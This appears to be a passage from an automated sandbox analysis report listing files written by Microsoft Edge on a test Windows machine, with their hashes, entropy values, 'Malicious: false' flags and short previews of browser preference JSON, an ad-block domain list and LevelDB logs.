Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"42ca82e5-9980-4686-a7ae-0483918785bf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731349069"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\9fa50a9b-07a5-4738-b7e7-8da7bdb0f825.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67324A46-1F1C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04752850444223302
Encrypted:	false
SSDEEP:	192:TTX0m5tmBnOAUJYTJ/EdxeQR0JVFg8XMEIihkHZBzhEhNGMv+RQ8TfyzLn8y08TQ:fX0UtuBt6mIhcxmvyzL08T2RGOD
MD5:	4782A4E281011571E1D2347EBE117B0A
SHA1:	6FE6F5157BC0BC131E99605534536A9B4411342E
SHA-256:	2F8A18D510E9C4AB38407DEEBBEBCC8F01939D214EE2DABCF3B8D4752E8BE0B7
SHA-512:	65E799F3CEBB51B861A33BDDD6A78537877459459167AF06ADAF32827A8ED74040B4EED3523DAD74EDAEF52E387F9C828A05AADB7CC0C985E063BD6D4EA6476B
Malicious:	false
Preview:	...@..@...@.....C.].....@...............hi.. Y..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".cmbbuc20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........5...... .2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\24493a9b-e834-4aa6-bc03-0a4f7932f5de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17244), with no line terminators
Category:	dropped
Size (bytes):	17252
Entropy (8bit):	5.47905255928794
Encrypted:	false
SSDEEP:	384:stSPGKSu4lsCGtJlDn5F4MFTbGUQwR/x0:swOxu4GZnlbGT4K
MD5:	EBFEED1AA54C59280453B50E78E55EA1
SHA1:	C3311AE25B956489FAA3F09A5296058E677705E2
SHA-256:	C36D9F6B70C4D4F1C5C166C7DD8403D9F4480BAFB8727A55A87F7F49A471FE17
SHA-512:	10E70F421AC3D756A8370B6B85AD17AED8B0699BAA177BC90701C9C1123641A38D58C3B31A6B52DCB29963C34732369BBB7059636700966CF054E9807CF49AC5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\24dad8e1-9c52-43bd-85df-69d72dc54845.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3cc5db29-0592-4c0d-8442-f6f10c092bb5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13712), with no line terminators
Category:	dropped
Size (bytes):	13720
Entropy (8bit):	5.427362906494896
Encrypted:	false
SSDEEP:	192:stSkdplsCGyaNP9kq5kYBpP7ZKT6bPZPEHKyS8SbV+FFuQwR8NCPJYJ:stSQlsCGtJ55F4MFTbGUQwRM
MD5:	A283BA177A678403A2A6063327D56A52
SHA1:	95C828953C322A80FC33E75B5DEE75FFB9708AFC
SHA-256:	78928F1BCE00614955E216D9867F9B8C747C5495502378A1656504EF35DD595A
SHA-512:	11390EB2C55D1400C07D7B6C576693CDDA9F10E69CB63811D210FBB09D42B1F95A41F1DC1032D706709776F41265D3095FA7B2D341B4909FA2CC4560EA80E685
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\464045b3-01b5-471f-a83e-662dadc0420b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17079), with no line terminators
Category:	dropped
Size (bytes):	17087
Entropy (8bit):	5.482483284735678
Encrypted:	false
SSDEEP:	192:stSJ99QTryDigabatSuyplsCGyaNPlDrkq5kYBpP7ZKT6bPZPEHKyS8SbV+FFuQz:stSPGKSu4lsCGtJlDn5F4MFTbGUQwRqV
MD5:	CA8AECAB63536EEE2B55E4E6BC2302D0
SHA1:	69B5BFCFCC1A1EC3A2E51B03D3DC883CE812C8CF
SHA-256:	15451FF7C22F0934058C957941F6D866B08C2AE69EE5FFE34BBB8879626BD4E3
SHA-512:	34B3031F29C758C4682E05EE16E82E872AEB8F5586BD48EBC551BC3B92EE1F15E0483B4FF7BAF72AA78C8A63D2F847BE929C0C042083CF88E7C7467B5C859254
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6748159c-ed69-4cbc-8334-728fd2fb5159.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.5613137527432785
Encrypted:	false
SSDEEP:	768:gx1cuf7pLGLpQKWPg6fBu8F1+UoAYDCx9Tuqh0VfUC9xbog/OVShDE0ksrwFJ+io:gx1cuZcpQKWPg6fBuu1jazhD/kFFJ+fF
MD5:	1676C2E9EADF794F1DDD5EB75C37179F
SHA1:	73B8AA8FA7B871D5385C22C13A1136DDA7086998
SHA-256:	DE70299FBB8D169A262B7B7694052F13ECB263900978BA4AE4DEB48D27279873
SHA-512:	F4FDD11E2D77AB7112F7E3CE6E1E42A46B059599B3EABF6DD0E7B9801C4BFB4F3467AEF57BB1A9080A1DD499A465C0CF365F85FC1B45920B5520CDFC848EEB23
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375822663556735","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375822663556735","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\77c0dd02-7efb-4e1d-b942-5aea74c75a7e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17244), with no line terminators
Category:	dropped
Size (bytes):	17252
Entropy (8bit):	5.479163936325827
Encrypted:	false
SSDEEP:	384:stSPGKSu4lsCGtJlDn5F4MFTbGUQwRqx0:swOxu4GZnlbGT4z
MD5:	DF4F33F52354FD58F7151B264CBF1CD7
SHA1:	5738301A8146390758C4227FED570BF2A10977D4
SHA-256:	1D52B95C36237D97535003230198AF926BED57D24448E23E926E57DB46EC1151
SHA-512:	DB0E1387AE64444241BA5A37542DBE393611586C7B359B6A8F2A421F6C8339360F1FB821E23DB79FAA23E46C7E21C9FA370483543075C06C451FC5B268AF7F9A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8837ad3d-b9eb-48de-af9f-ef50354c01d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9a2b65e0-2835-406b-b104-640f9432746d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040622952915537
Encrypted:	false
SSDEEP:	24576:kZf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kZfgAmmE
MD5:	1500611EA32F58F789A3AB6DFE6F54E4
SHA1:	6668842D3156238C808358D4396062B5AE408C10
SHA-256:	EF5854D5C8F19D8AB0348F249D2066F47EDE26A95C25A5F5B93D23E488E53B21
SHA-512:	F2B5CE3DB4720D8AEB1AB30807291ADA8DC67BE57B7C5E48126093240BE0668940076F9352B0FDCCF60DABBE19FA058F905E681DC915587D0B5D6FDC81BE8F97
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1200445801793695
Encrypted:	false
SSDEEP:	6:HUrFJOq2PcNwi23oH+Tcwt9Eh1tIFUt8YUGZmw+YUrHkwOcNwi23oH+Tcwt9Eh1H:8kvLZYeb9Eh16FUt8I/+ZH54ZYeb9Ehx
MD5:	87E79436A773DDA48670E2EAB271D6D6
SHA1:	0FDC692F748A89C8878A3CD6F866B6810A8B9448
SHA-256:	51F2779642B1D17D448E05B8EE58AB14A6122C49847908748F4FFF41B5DA4037
SHA-512:	BFE615025F663E8D9A8A1F5EC22272AB0728AA8FE0F8CBFE696322F9CE02D38798D84F1D6AB680EED9DF1CFB6B75F115E083B8A74AD2348E219BB566419E9D09
Malicious:	false
Preview:	2024/11/11-13:17:50.287 20f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-13:17:50.288 20f0 Recovering log #3.2024/11/11-13:17:50.292 20f0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1200445801793695
Encrypted:	false
SSDEEP:	6:HUrFJOq2PcNwi23oH+Tcwt9Eh1tIFUt8YUGZmw+YUrHkwOcNwi23oH+Tcwt9Eh1H:8kvLZYeb9Eh16FUt8I/+ZH54ZYeb9Ehx
MD5:	87E79436A773DDA48670E2EAB271D6D6
SHA1:	0FDC692F748A89C8878A3CD6F866B6810A8B9448
SHA-256:	51F2779642B1D17D448E05B8EE58AB14A6122C49847908748F4FFF41B5DA4037
